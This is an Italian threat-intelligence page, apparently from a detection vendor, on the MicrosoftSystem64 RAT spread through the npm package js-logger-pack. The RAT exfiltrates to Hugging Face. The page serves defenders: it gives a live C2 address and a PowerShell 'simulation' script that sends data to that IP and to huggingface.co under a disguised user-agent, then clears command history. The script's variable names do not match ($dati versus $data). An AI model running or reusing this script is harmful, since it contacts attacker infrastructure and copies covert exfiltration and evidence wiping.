MicrosoftSystem64: Un RAT della Catena di Fornitura che Esfiltra Dati a Hugging Face
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
Un pacchetto npm dannoso chiamato js-logger-pack è stato utilizzato per distribuire un’applicazione Node.js a singolo eseguibile cross-platform chiamata MicrosoftSystem64. Il binario funziona come un trojan di accesso remoto completo, capace di rubare estensioni di portafogli di criptovaluta, credenziali memorizzate nei browser, chiavi SSH, dati di sessione di Telegram e screenshot. Le informazioni rubate sono esfiltrate attraverso dataset privati di Hugging Face utilizzando un token API compromesso, mentre il traffico di comando e controllo è gestito attraverso un server WebSocket a 195.201.194.107:8010. La campagna è stata collegata a un attore di minacce associato alla Corea del Nord che ruota gli account npm e Hugging Face per mantenere l’accesso e sostenere le operazioni.
Indagine
SafeDep ha analizzato il campione di malware e ha estratto la configurazione cifrata in XOR, l’endpoint di comando e controllo, il token Hugging Face e una lista di più di 80 ID di estensioni di portafogli mirati. I ricercatori hanno anche esaminato i metodi di persistenza utilizzati su sistemi Windows, macOS e Linux e hanno ricostruito l’intera catena di esfiltrazione coinvolgente le API di Hugging Face. La validazione in tempo reale del 28 maggio ha confermato che i dataset attivi stavano ancora ricevendo screenshot e archivi di credenziali presi da vittime reali.
Mitigazione
Le organizzazioni dovrebbero rimuovere immediatamente qualsiasi pacchetto npm dannoso noto legato a questa campagna, ruotare le credenziali compromesse, le chiavi SSH e i semi di portafogli di criptovaluta, e monitorare l’attività non autorizzata dell’API Hugging Face. Le protezioni degli endpoint dovrebbero rilevare il nome del processo MicrosoftSystem64 e qualsiasi creazione di attività programmata correlata. I controlli di rete dovrebbero anche bloccare il traffico in uscita all’indirizzo IP identificato di comando e controllo e limitare l’accesso imprevisto agli endpoint di Hugging Face da binari sconosciuti.
Risposta
Se MicrosoftSystem64 viene rilevato, isolare immediatamente il sistema interessato, terminare il processo dannoso, rimuovere i file installati e le attività programmate, e revocare il token Hugging Face compromesso. Gli investigatori dovrebbero raccogliere le prove forensi dai log e da qualsiasi percorso di dati esfiltrati, quindi notificare alle parti interessate e aggiornare gli strumenti di scansione delle dipendenze per bloccare i pacchetti dannosi nelle build future.
Flusso di Attacco
Rilevamenti
Possibili Punti di Persistenza [ASEPs – Software/NTUSER Hive] (via registry_event)
Visualizza
Possibilità di Esecuzione Tramite Linee di Comando PowerShell Nascoste (via cmdline)
Visualizza
File Linux .desktop Creato in Cartella Insolita (via file_event)
Visualizza
File Nascosto Creato su Host Linux (via file_event)
Visualizza
IOC (HashSha256) per rilevare: All’interno di MicrosoftSystem64: Un RAT della Catena di Fornitura che esfiltra verso HuggingFace
Visualizza
IOC (SourceIP) per rilevare: All’interno di MicrosoftSystem64: Un RAT della Catena di Fornitura che esfiltra verso HuggingFace
Visualizza
IOC (DestinationIP) per rilevare: All’interno di MicrosoftSystem64: Un RAT della Catena di Fornitura che esfiltra verso HuggingFace
Visualizza
Rilevamento di Keylogging SetWindowsHookEx da Malware [Windows Sysmon]
Visualizza
Rilevamento di RAT MicrosoftSystem64 su Sistemi Linux [Creazione di Processi Linux]
Visualizza
Esfiltrazione di dati da RAT Microsoft System64 tramite HuggingFace [Connessione di Rete Windows]
Visualizza
Rilevamento dell’Esecuzione di RAT MicrosoftSystem64 e Comando PowerShell [Creazione di Processi Windows]
Visualizza
Esecuzione della Simulazione
Prerequisito: Il controllo pre‑volo di Telemetria & Baseline deve essere stato superato.
Razionale: Questa sezione detaglia l’esecuzione precisa della tecnica di avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente i TTP identificati e mirano a generare l’esatta telemetria prevista dalla logica di rilevamento.
-
Narrativa di Attacco & Comandi:
Un attaccante ha già installato il “Microsoft System64 RAT” sull’host Windows compromesso. Per esfiltrare i dati rubati, il RAT esegue due azioni in parallelo:- Canale C2: Apre un socket TCP grezzo al server dannoso codificato
195.201.194.107sulla porta8010e trasmette dati codificati in base‑64. - Esfiltrazione HTTP Nascosta: Invia una richiesta
POSTHTTPS ahttps://huggingface.co/api/uploadcon gli stessi dati incorporati nel corpo della richiesta, usando un user‑agent dall’aspetto legittimo per fondersi con il traffico normale.
Entrambe le azioni generano eventi del firewall in uscita che corrispondono alla regola Sigma.
- Canale C2: Apre un socket TCP grezzo al server dannoso codificato
-
Script di Test di Regressione:
# ------------------------------------------------- # Simulazione di Esfiltrazione RAT System64 (PowerShell) # ------------------------------------------------- # 1. Preparare dati dummy di esfiltrazione $dati = "DatiSegreti$(Get-Date -Format o)" | ConvertTo-Json $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data)) # 2. Inviare dati tramite TCP grezzo (C2) $ipC2 = "195.201.194.107" $portaC2 = 8010 try { $tcpClient = New-Object System.Net.Sockets.TcpClient($ipC2, $portaC2) $stream = $tcpClient.GetStream() $bytes = [Text.Encoding]::UTF8.GetBytes($b64) $stream.Write($bytes, 0, $bytes.Length) $stream.Close() $tcpClient.Close() Write-Host "[+] Esfiltrazione TCP inviata a $ipC2:$portaC2" } catch { Write-Error "[-] Connessione TCP fallita: $_" } # 3. Inviare dati tramite HTTPS a HuggingFace (esfiltrazione nascosta) $uri = "https://huggingface.co/api/upload" try { Invoke-WebRequest -Uri $uri ` -Method POST ` -Body @{ data = $b64 } ` -Headers @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } ` -UseBasicParsing Write-Host "[+] Esfiltrazione HTTP inviata a huggingface.co" } catch { Write-Error "[-] Richiesta HTTP fallita: $_" } -
Comandi di Pulizia:
# Rimuovere qualsiasi artefatto di rete residuo Get-NetTCPConnection -RemoteAddress 195.201.194.107 -RemotePort 8010 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Cancellare la cronologia di PowerShell (opzionale) Clear-History